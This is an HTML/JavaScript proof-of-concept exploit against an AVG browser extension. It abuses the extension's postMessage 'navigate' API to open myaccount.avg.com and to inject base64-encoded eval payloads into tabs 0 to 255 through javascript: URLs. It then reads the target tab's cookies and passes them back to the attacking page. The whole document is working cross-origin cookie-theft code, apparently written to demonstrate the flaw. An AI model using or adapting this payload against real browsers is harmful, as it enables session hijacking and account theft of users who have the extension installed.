1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

<script>
// Secret we append to our target window hash.
var tgtsecret = Math.random().toString(36).substring(8);
// Secret we append to the host window hash.
var hstsecret = Math.random().toString(36).substring(8);
// Target cookie.
var tgtcookie = null;

// This is the core vulnerability, avg add a javascript api that includes the
// ability to navigate arbitrary tabs.
function avgNavigate(url, newtab, tabid)
{
    var message = {
        origin: "web",
        action: "navigate",
        data: {
            url: url,
            isNewTab: newtab,
        },
    };

    if (newtab == false) {
        message.data.tabid = tabid;
    }

    window.postMessage(message, "*");
}

// Search for a tab with document.hash set to secret, and then inject specified
// script.
function injectInTabWithSecret(secret, func)
{
    var payload = "javascript:document.location.hash.endsWith('"
                    + secret
                    + "')?eval(atob('"
                    + btoa(func)
                    + "')):false;"

    console.log(payload);

    for (i = 0; i < 0x100; i++) {
        avgNavigate(payload, false, i);
    }
}

function retrieveCookie()
{
    injectInTabWithSecret(hstsecret, "tgtcookie='" + document.cookie + "';");
    injectInTabWithSecret(hstsecret, "cookieFound();");
    setInterval(10000, window.close);
}

function cookieFound()
{
    document.write("Discovered Cookie: " + tgtcookie + "<br>");
}

// Adjust my hash so target can find me.
window.location.hash = hstsecret;

// Create target domain.
avgNavigate("https://myaccount.avg.com/#" + tgtsecret, true, -1);

// Inject some utility functions.
injectInTabWithSecret(tgtsecret, avgNavigate);
injectInTabWithSecret(tgtsecret, injectInTabWithSecret);

// Let target know where we are.
injectInTabWithSecret(tgtsecret, "hstsecret='" + hstsecret + "';");

// Steal cookie
injectInTabWithSecret(tgtsecret, retrieveCookie);
injectInTabWithSecret(tgtsecret, "retrieveCookie()");

</script>